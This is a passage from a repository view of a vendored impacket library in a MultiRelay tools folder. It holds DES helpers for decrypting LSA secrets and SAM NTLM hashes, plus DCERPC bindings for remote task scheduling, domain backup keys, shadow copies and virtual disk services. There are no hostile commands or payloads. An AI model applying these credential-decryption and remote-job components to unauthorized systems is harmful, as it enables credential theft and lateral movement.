OutputKey = []
OutputKey.append( chr(ord(InputKey[0:1]) >> 0x01) )
OutputKey.append( chr(((ord(InputKey[0:1])&0x01)<<6) | (ord(InputKey[1:2])>>2)) )
OutputKey.append( chr(((ord(InputKey[1:2])&0x03)<<5) | (ord(InputKey[2:3])>>3)) )
OutputKey.append( chr(((ord(InputKey[2:3])&0x07)<<4) | (ord(InputKey[3:4])>>4)) )
OutputKey.append( chr(((ord(InputKey[3:4])&0x0F)<<3) | (ord(InputKey[4:5])>>5)) )
OutputKey.append( chr(((ord(InputKey[4:5])&0x1F)<<2) | (ord(InputKey[5:6])>>6)) )
OutputKey.append( chr(((ord(InputKey[5:6])&0x3F)<<1) | (ord(InputKey[6:7])>>7)) )
OutputKey.append( chr(ord(InputKey[6:7]) & 0x7F) )
for i in range(8):
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
return b("".join(OutputKey))
def decryptSecret(key, value):
# [MS-LSAD] Section 5.1.2
plainText = b''
key0 = key
for i in range(0, len(value), 8):
cipherText = value[:8]
tmpStrKey = key0[:7]
tmpKey = transformKey(tmpStrKey)
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
plainText += Crypt1.decrypt(cipherText)
key0 = key0[7:]
value = value[8:]
# AdvanceKey
if len(key0) < 7:
key0 = key[len(key0):]
secret = LSA_SECRET_XP(plainText)
return (secret['Secret'])
def encryptSecret(key, value):
# [MS-LSAD] Section 5.1.2
cipherText = b''
key0 = key
value0 = pack('<LL', len(value), 1) + value
for i in range(0, len(value0), 8):
if len(value0) < 8:
value0 = value0 + b'\x00'*(8-len(value0))
plainText = value0[:8]
tmpStrKey = key0[:7]
print(type(tmpStrKey))
print(tmpStrKey)
tmpKey = transformKey(tmpStrKey)
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
cipherText += Crypt1.encrypt(plainText)
key0 = key0[7:]
value0 = value0[8:]
# AdvanceKey
if len(key0) < 7:
key0 = key[len(key0):]
return cipherText
def SamDecryptNTLMHash(encryptedHash, key):
# [MS-SAMR] Section 2.2.11.1.1
Block1 = encryptedHash[:8]
Block2 = encryptedHash[8:]
Key1 = key[:7]
Key1 = transformKey(Key1)
Key2 = key[7:14]
Key2 = transformKey(Key2)
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
plain1 = Crypt1.decrypt(Block1)
plain2 = Crypt2.decrypt(Block2)
return plain1 + plain2
def SamEncryptNTLMHash(encryptedHash, key):
# [MS-SAMR] Section 2.2.11.1.1
Block1 = encryptedHash[:8]
Block2 = encryptedHash[8:]
Key1 = key[:7]
Key1 = transformKey(Key1)
Key2 = key[7:14]
Key2 = transformKey(Key2)
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
plain1 = Crypt1.encrypt(Block1)
plain2 = Crypt2.encrypt(Block2)
return plain1 + plain2

1
tools/MultiRelay/impacket-dev/impacket/dcerpc/__init__.py Normal file
View File

@@ -0,0 +1 @@
pass

1
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/__init__.py Normal file
View File

@@ -0,0 +1 @@
pass

211
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/atsvc.py Normal file
View File

@@ -0,0 +1,211 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-TSCH] ATSVC Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL
from impacket import hresult_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in hresult_errors.ERROR_MESSAGES:
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
ATSVC_HANDLE = LPWSTR
# 2.3.1 Constant Values
CNLEN = 15
DNLEN = CNLEN
UNLEN = 256
MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)
# 2.3.7 Flags
TASK_FLAG_INTERACTIVE = 0x1
TASK_FLAG_DELETE_WHEN_DONE = 0x2
TASK_FLAG_DISABLED = 0x4
TASK_FLAG_START_ONLY_IF_IDLE = 0x10
TASK_FLAG_KILL_ON_IDLE_END = 0x20
TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40
TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80
TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100
TASK_FLAG_HIDDEN = 0x200
TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400
TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800
TASK_FLAG_SYSTEM_REQUIRED = 0x1000
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000
################################################################################
# STRUCTURES
################################################################################
# 2.3.4 AT_INFO
class AT_INFO(NDRSTRUCT):
structure = (
('JobTime',DWORD),
('DaysOfMonth',DWORD),
('DaysOfWeek',UCHAR),
('Flags',UCHAR),
('Command',LPWSTR),
)
class LPAT_INFO(NDRPOINTER):
referent = (
('Data',AT_INFO),
)
# 2.3.6 AT_ENUM
class AT_ENUM(NDRSTRUCT):
structure = (
('JobId',DWORD),
('JobTime',DWORD),
('DaysOfMonth',DWORD),
('DaysOfWeek',UCHAR),
('Flags',UCHAR),
('Command',LPWSTR),
)
class AT_ENUM_ARRAY(NDRUniConformantArray):
item = AT_ENUM
class LPAT_ENUM_ARRAY(NDRPOINTER):
referent = (
('Data',AT_ENUM_ARRAY),
)
# 2.3.5 AT_ENUM_CONTAINER
class AT_ENUM_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead',DWORD),
('Buffer',LPAT_ENUM_ARRAY),
)
################################################################################
# RPC CALLS
################################################################################
# 3.2.5.2.1 NetrJobAdd (Opnum 0)
class NetrJobAdd(NDRCALL):
opnum = 0
structure = (
('ServerName',ATSVC_HANDLE),
('pAtInfo', AT_INFO),
)
class NetrJobAddResponse(NDRCALL):
structure = (
('pJobId',DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.2.2 NetrJobDel (Opnum 1)
class NetrJobDel(NDRCALL):
opnum = 1
structure = (
('ServerName',ATSVC_HANDLE),
('MinJobId', DWORD),
('MaxJobId', DWORD),
)
class NetrJobDelResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.2.3 NetrJobEnum (Opnum 2)
class NetrJobEnum(NDRCALL):
opnum = 2
structure = (
('ServerName',ATSVC_HANDLE),
('pEnumContainer', AT_ENUM_CONTAINER),
('PreferedMaximumLength', DWORD),
('pResumeHandle', DWORD),
)
class NetrJobEnumResponse(NDRCALL):
structure = (
('pEnumContainer', AT_ENUM_CONTAINER),
('pTotalEntries', DWORD),
('pResumeHandle',LPDWORD),
('ErrorCode',ULONG),
)
# 3.2.5.2.4 NetrJobGetInfo (Opnum 3)
class NetrJobGetInfo(NDRCALL):
opnum = 3
structure = (
('ServerName',ATSVC_HANDLE),
('JobId', DWORD),
)
class NetrJobGetInfoResponse(NDRCALL):
structure = (
('ppAtInfo', LPAT_INFO),
('ErrorCode',ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (NetrJobAdd,NetrJobAddResponse ),
1 : (NetrJobDel,NetrJobDelResponse ),
2 : (NetrJobEnum,NetrJobEnumResponse ),
3 : (NetrJobGetInfo,NetrJobGetInfoResponse ),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL):
netrJobAdd = NetrJobAdd()
netrJobAdd['ServerName'] = serverName
netrJobAdd['pAtInfo'] = atInfo
return dce.request(netrJobAdd)
def hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0):
netrJobDel = NetrJobDel()
netrJobDel['ServerName'] = serverName
netrJobDel['MinJobId'] = minJobId
netrJobDel['MaxJobId'] = maxJobId
return dce.request(netrJobDel)
def hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff):
netrJobEnum = NetrJobEnum()
netrJobEnum['ServerName'] = serverName
netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer
netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength
return dce.request(netrJobEnum)
def hNetrJobGetInfo(dce, serverName = NULL, jobId = 0):
netrJobGetInfo = NetrJobGetInfo()
netrJobGetInfo['ServerName'] = serverName
netrJobGetInfo['JobId'] = jobId
return dce.request(netrJobGetInfo)

127
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/bkrp.py Normal file
View File

@@ -0,0 +1,127 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-BKRP] Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
# ToDo:
# [ ] 2.2.2 Client-Side-Wrapped Secret
from __future__ import division
from __future__ import print_function
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, NTSTATUS, GUID, RPC_SID, NULL
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket import system_errors
from impacket.uuid import uuidtup_to_bin, string_to_bin
from impacket.structure import Structure
MSRPC_UUID_BKRP = uuidtup_to_bin(('3dde7c30-165d-11d1-ab8f-00805f14db40', '1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'BKRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'BKRP SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
BACKUPKEY_BACKUP_GUID = string_to_bin("7F752B10-178E-11D1-AB8F-00805F14DB40")
BACKUPKEY_RESTORE_GUID_WIN2K = string_to_bin("7FE94D50-178E-11D1-AB8F-00805F14DB40")
BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = string_to_bin("018FF48A-EABA-40C6-8F6D-72370240E967")
BACKUPKEY_RESTORE_GUID = string_to_bin("47270C64-2FC7-499B-AC5B-0E37CDCE899A")
################################################################################
# STRUCTURES
################################################################################
class BYTE_ARRAY(NDRUniConformantArray):
item = 'c'
class PBYTE_ARRAY(NDRPOINTER):
referent = (
('Data', BYTE_ARRAY),
)
# 2.2.4.1 Rc4EncryptedPayload Structure
class Rc4EncryptedPayload(Structure):
structure = (
('R3', '32s=""'),
('MAC', '20s=""'),
('SID', ':', RPC_SID),
('Secret', ':'),
)
# 2.2.4 Secret Wrapped with Symmetric Key
class WRAPPED_SECRET(Structure):
structure = (
('SIGNATURE', '<L=1'),
('Payload_Length', '<L=0'),
('Ciphertext_Length', '<L=0'),
('GUID_of_Wrapping_Key', '16s=""'),
('R2', '68s=""'),
('_Rc4EncryptedPayload', '_-Rc4EncryptedPayload', 'self["Payload_Length"]'),
('Rc4EncryptedPayload', ':'),
)
################################################################################
# RPC CALLS
################################################################################
# 3.1.4.1 BackuprKey(Opnum 0)
class BackuprKey(NDRCALL):
opnum = 0
structure = (
('pguidActionAgent', GUID),
('pDataIn', BYTE_ARRAY),
('cbDataIn', DWORD),
('dwParam', DWORD),
)
class BackuprKeyResponse(NDRCALL):
structure = (
('ppDataOut', PBYTE_ARRAY),
('pcbDataOut', DWORD),
('ErrorCode', NTSTATUS),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (BackuprKey, BackuprKeyResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hBackuprKey(dce, pguidActionAgent, pDataIn, dwParam=0):
request = BackuprKey()
request['pguidActionAgent'] = pguidActionAgent
request['pDataIn'] = pDataIn
if pDataIn == NULL:
request['cbDataIn'] = 0
else:
request['cbDataIn'] = len(pDataIn)
request['dwParam'] = dwParam
return dce.request(request)

1
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/__init__.py Normal file
View File

@@ -0,0 +1 @@
pass

1863
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/comev.py Normal file
View File

File diff suppressed because it is too large Load Diff

1090
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/oaut.py Normal file
View File

File diff suppressed because it is too large Load Diff

337
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/scmp.py Normal file
View File

@@ -0,0 +1,337 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-SCMP]: Shadow Copy Management Protocol Interface implementation
# This was used as a way to test the DCOM runtime. Further
# testing is needed to verify it is working as expected
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Since DCOM is like an OO RPC, instead of helper functions you will see the
# classes described in the standards developed.
# There are test cases for them too.
#
from __future__ import division
from __future__ import print_function
from impacket.dcerpc.v5.ndr import NDRENUM, NDRSTRUCT, NDRUNION
from impacket.dcerpc.v5.dcomrt import PMInterfacePointer, INTERFACE, DCOMCALL, DCOMANSWER, IRemUnknown2
from impacket.dcerpc.v5.dtypes import LONG, LONGLONG, ULONG, WSTR
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket import hresult_errors
from impacket.uuid import string_to_bin
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
if self.error_code in hresult_errors.ERROR_MESSAGES:
error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1]
return 'SCMP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'SCMP SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 1.9 Standards Assignments
CLSID_ShadowCopyProvider = string_to_bin('0b5a2c52-3eb9-470a-96e2-6c6d4570e40f')
IID_IVssSnapshotMgmt = string_to_bin('FA7DF749-66E7-4986-A27F-E2F04AE53772')
IID_IVssEnumObject = string_to_bin('AE1C7110-2F60-11d3-8A39-00C04F72D8E3')
IID_IVssDifferentialSoftwareSnapshotMgmt = string_to_bin('214A0F28-B737-4026-B847-4F9E37D79529')
IID_IVssEnumMgmtObject = string_to_bin('01954E6B-9254-4e6e-808C-C9E05D007696')
IID_ShadowCopyProvider = string_to_bin('B5946137-7B9F-4925-AF80-51ABD60B20D5')
# 2.2.1.1 VSS_ID
class VSS_ID(NDRSTRUCT):
structure = (
('Data','16s=b""'),
)
def getAlignment(self):
return 2
#2.2.1.2 VSS_PWSZ
VSS_PWSZ = WSTR
# 2.2.1.3 VSS_TIMESTAMP
VSS_TIMESTAMP = LONGLONG
error_status_t = LONG
################################################################################
# STRUCTURES
################################################################################
# 2.2.2.1 VSS_OBJECT_TYPE Enumeration
class VSS_OBJECT_TYPE(NDRENUM):
class enumItems(Enum):
VSS_OBJECT_UNKNOWN = 0
VSS_OBJECT_NONE = 1
VSS_OBJECT_SNAPSHOT_SET = 2
VSS_OBJECT_SNAPSHOT = 3
VSS_OBJECT_PROVIDER = 4
VSS_OBJECT_TYPE_COUNT = 5
# 2.2.2.2 VSS_MGMT_OBJECT_TYPE Enumeration
class VSS_MGMT_OBJECT_TYPE(NDRENUM):
class enumItems(Enum):
VSS_MGMT_OBJECT_UNKNOWN = 0
VSS_MGMT_OBJECT_VOLUME = 1
VSS_MGMT_OBJECT_DIFF_VOLUME = 2
VSS_MGMT_OBJECT_DIFF_AREA = 3
# 2.2.2.3 VSS_VOLUME_SNAPSHOT_ATTRIBUTES Enumeration
class VSS_VOLUME_SNAPSHOT_ATTRIBUTES(NDRENUM):
class enumItems(Enum):
VSS_VOLSNAP_ATTR_PERSISTENT = 0x01
VSS_VOLSNAP_ATTR_NO_AUTORECOVERY = 0x02
VSS_VOLSNAP_ATTR_CLIENT_ACCESSIBLE = 0x04
VSS_VOLSNAP_ATTR_NO_AUTO_RELEASE = 0x08
VSS_VOLSNAP_ATTR_NO_WRITERS = 0x10
# 2.2.2.4 VSS_SNAPSHOT_STATE Enumeration
class VSS_SNAPSHOT_STATE(NDRENUM):
class enumItems(Enum):
VSS_SS_UNKNOWN = 0x01
VSS_SS_CREATED = 0x0c
# 2.2.2.5 VSS_PROVIDER_TYPE Enumeration
class VSS_PROVIDER_TYPE(NDRENUM):
class enumItems(Enum):
VSS_PROV_UNKNOWN = 0
# 2.2.3.7 VSS_VOLUME_PROP Structure
class VSS_VOLUME_PROP(NDRSTRUCT):
structure = (
('m_pwszVolumeName', VSS_PWSZ),
('m_pwszVolumeDisplayName', VSS_PWSZ),
)
# 2.2.3.5 VSS_MGMT_OBJECT_UNION Union
class VSS_MGMT_OBJECT_UNION(NDRUNION):
commonHdr = (
('tag', ULONG),
)
union = {
VSS_MGMT_OBJECT_TYPE.VSS_MGMT_OBJECT_VOLUME: ('Vol', VSS_VOLUME_PROP),
#VSS_MGMT_OBJECT_DIFF_VOLUME: ('DiffVol', VSS_DIFF_VOLUME_PROP),
#VSS_MGMT_OBJECT_DIFF_AREA: ('DiffArea', VSS_DIFF_AREA_PROP),
}
# 2.2.3.6 VSS_MGMT_OBJECT_PROP Structure
class VSS_MGMT_OBJECT_PROP(NDRSTRUCT):
structure = (
('Type', VSS_MGMT_OBJECT_TYPE),
('Obj', VSS_MGMT_OBJECT_UNION),
)
################################################################################
# RPC CALLS
################################################################################
# 3.1.3 IVssEnumMgmtObject Details
# 3.1.3.1 Next (Opnum 3)
class IVssEnumMgmtObject_Next(DCOMCALL):
opnum = 3
structure = (
('celt', ULONG),
)
class IVssEnumMgmtObject_NextResponse(DCOMANSWER):
structure = (
('rgelt', VSS_MGMT_OBJECT_PROP),
('pceltFetched', ULONG),
('ErrorCode', error_status_t),
)
# 3.1.2.1 Next (Opnum 3)
class IVssEnumObject_Next(DCOMCALL):
opnum = 3
structure = (
('celt', ULONG),
)
class IVssEnumObject_NextResponse(DCOMANSWER):
structure = (
('rgelt', VSS_MGMT_OBJECT_PROP),
('pceltFetched', ULONG),
('ErrorCode', error_status_t),
)
class GetProviderMgmtInterface(DCOMCALL):
opnum = 3
structure = (
('ProviderId', VSS_ID),
('InterfaceId', VSS_ID),
)
class GetProviderMgmtInterfaceResponse(DCOMANSWER):
structure = (
('ppItf', PMInterfacePointer),
('ErrorCode', error_status_t),
)
class QueryVolumesSupportedForSnapshots(DCOMCALL):
opnum = 4
structure = (
('ProviderId', VSS_ID),
('IContext', LONG),
)
class QueryVolumesSupportedForSnapshotsResponse(DCOMANSWER):
structure = (
('ppEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
class QuerySnapshotsByVolume(DCOMCALL):
opnum = 5
structure = (
('pwszVolumeName', VSS_PWSZ),
('ProviderId', VSS_ID),
)
class QuerySnapshotsByVolumeResponse(DCOMANSWER):
structure = (
('ppEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.4.5 QueryDiffAreasForVolume (Opnum 6)
class QueryDiffAreasForVolume(DCOMCALL):
opnum = 6
structure = (
('pwszVolumeName', VSS_PWSZ),
)
class QueryDiffAreasForVolumeResponse(DCOMANSWER):
structure = (
('ppEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.4.6 QueryDiffAreasOnVolume (Opnum 7)
class QueryDiffAreasOnVolume(DCOMCALL):
opnum = 7
structure = (
('pwszVolumeName', VSS_PWSZ),
)
class QueryDiffAreasOnVolumeResponse(DCOMANSWER):
structure = (
('ppEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
}
################################################################################
# HELPER FUNCTIONS AND INTERFACES
################################################################################
class IVssEnumMgmtObject(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
self._iid = IID_IVssEnumMgmtObject
def Next(self, celt):
request = IVssEnumMgmtObject_Next()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['celt'] = celt
resp = self.request(request, self._iid, uuid = self.get_iPid())
return resp
class IVssEnumObject(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
self._iid = IID_IVssEnumObject
def Next(self, celt):
request = IVssEnumObject_Next()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['celt'] = celt
dce = self.connect()
resp = dce.request(request, self._iid, uuid = self.get_iPid())
return resp
class IVssSnapshotMgmt(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
self._iid = IID_IVssSnapshotMgmt
def GetProviderMgmtInterface(self, providerId = IID_ShadowCopyProvider, interfaceId = IID_IVssDifferentialSoftwareSnapshotMgmt):
req = GetProviderMgmtInterface()
classInstance = self.get_cinstance()
req['ORPCthis'] = classInstance.get_ORPCthis()
req['ORPCthis']['flags'] = 0
req['ProviderId'] = providerId
req['InterfaceId'] = interfaceId
resp = self.request(req, self._iid, uuid = self.get_iPid())
return IVssDifferentialSoftwareSnapshotMgmt(INTERFACE(classInstance, ''.join(resp['ppItf']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
def QueryVolumesSupportedForSnapshots(self, providerId, iContext):
req = QueryVolumesSupportedForSnapshots()
classInstance = self.get_cinstance()
req['ORPCthis'] = classInstance.get_ORPCthis()
req['ORPCthis']['flags'] = 0
req['ProviderId'] = providerId
req['IContext'] = iContext
resp = self.request(req, self._iid, uuid = self.get_iPid())
return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),target = self.get_target()))
def QuerySnapshotsByVolume(self, volumeName, providerId = IID_ShadowCopyProvider):
req = QuerySnapshotsByVolume()
classInstance = self.get_cinstance()
req['ORPCthis'] = classInstance.get_ORPCthis()
req['ORPCthis']['flags'] = 0
req['pwszVolumeName'] = volumeName
req['ProviderId'] = providerId
try:
resp = self.request(req, self._iid, uuid = self.get_iPid())
except DCERPCException as e:
print(e)
from impacket.winregistry import hexdump
data = e.get_packet()
hexdump(data)
kk = QuerySnapshotsByVolumeResponse(data)
kk.dump()
#resp.dump()
return IVssEnumObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
class IVssDifferentialSoftwareSnapshotMgmt(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
self._iid = IID_IVssDifferentialSoftwareSnapshotMgmt
def QueryDiffAreasOnVolume(self, pwszVolumeName):
req = QueryDiffAreasOnVolume()
classInstance = self.get_cinstance()
req['ORPCthis'] = classInstance.get_ORPCthis()
req['ORPCthis']['flags'] = 0
req['pwszVolumeName'] = pwszVolumeName
resp = self.request(req, self._iid, uuid = self.get_iPid())
return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
def QueryDiffAreasForVolume(self, pwszVolumeName):
req = QueryDiffAreasForVolume()
classInstance = self.get_cinstance()
req['ORPCthis'] = classInstance.get_ORPCthis()
req['ORPCthis']['flags'] = 0
req['pwszVolumeName'] = pwszVolumeName
resp = self.request(req, self._iid, uuid = self.get_iPid())
return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))

267
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/vds.py Normal file
View File

@@ -0,0 +1,267 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-VDS]: Virtual Disk Service (VDS) Protocol
# This was used as a way to test the DCOM runtime. Further
# testing is needed to verify it is working as expected
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Since DCOM is like an OO RPC, instead of helper functions you will see the
# classes described in the standards developed.
# There are test cases for them too.
#
from __future__ import division
from __future__ import print_function
from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantVaryingArray, NDRENUM
from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE
from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.enum import Enum
from impacket import hresult_errors
from impacket.uuid import string_to_bin
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
if self.error_code in hresult_errors.ERROR_MESSAGES:
error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1]
return 'VDS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'VDS SessionError: unknown error code: 0x%x' % (self.error_code)
################################################################################
# CONSTANTS
################################################################################
# 1.9 Standards Assignments
CLSID_VirtualDiskService = string_to_bin('7D1933CB-86F6-4A98-8628-01BE94C9A575')
IID_IEnumVdsObject = string_to_bin('118610B7-8D94-4030-B5B8-500889788E4E')
IID_IVdsAdviseSink = string_to_bin('8326CD1D-CF59-4936-B786-5EFC08798E25')
IID_IVdsAsync = string_to_bin('D5D23B6D-5A55-4492-9889-397A3C2D2DBC')
IID_IVdsServiceInitialization = string_to_bin('4AFC3636-DB01-4052-80C3-03BBCB8D3C69')
IID_IVdsService = string_to_bin('0818A8EF-9BA9-40D8-A6F9-E22833CC771E')
IID_IVdsSwProvider = string_to_bin('9AA58360-CE33-4F92-B658-ED24B14425B8')
IID_IVdsProvider = string_to_bin('10C5E575-7984-4E81-A56B-431F5F92AE42')
error_status_t = ULONG
# 2.2.1.1.3 VDS_OBJECT_ID
VDS_OBJECT_ID = GUID
################################################################################
# STRUCTURES
################################################################################
# 2.2.2.1.3.1 VDS_SERVICE_PROP
class VDS_SERVICE_PROP(NDRSTRUCT):
structure = (
('pwszVersion',LPWSTR),
('ulFlags',ULONG),
)
class OBJECT_ARRAY(NDRUniConformantVaryingArray):
item = PMInterfacePointer
# 2.2.2.7.1.1 VDS_PROVIDER_TYPE
class VDS_PROVIDER_TYPE(NDRENUM):
class enumItems(Enum):
VDS_PT_UNKNOWN = 0
VDS_PT_SOFTWARE = 1
VDS_PT_HARDWARE = 2
VDS_PT_VIRTUALDISK = 3
VDS_PT_MAX = 4
# 2.2.2.7.2.1 VDS_PROVIDER_PROP
class VDS_PROVIDER_PROP(NDRSTRUCT):
structure = (
('id',VDS_OBJECT_ID),
('pwszName',LPWSTR),
('guidVersionId',GUID),
('pwszVersion',LPWSTR),
('type',VDS_PROVIDER_TYPE),
('ulFlags',ULONG),
('ulStripeSizeFlags',ULONG),
('sRebuildPriority',SHORT),
)
################################################################################
# RPC CALLS
################################################################################
# 3.4.5.2.5.1 IVdsServiceInitialization::Initialize (Opnum 3)
class IVdsServiceInitialization_Initialize(DCOMCALL):
opnum = 3
structure = (
('pwszMachineName', LPWSTR),
)
class IVdsServiceInitialization_InitializeResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.4.5.2.4.1 IVdsService::IsServiceReady (Opnum 3)
class IVdsService_IsServiceReady(DCOMCALL):
opnum = 3
structure = (
)
class IVdsService_IsServiceReadyResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.4.5.2.4.2 IVdsService::WaitForServiceReady (Opnum 4)
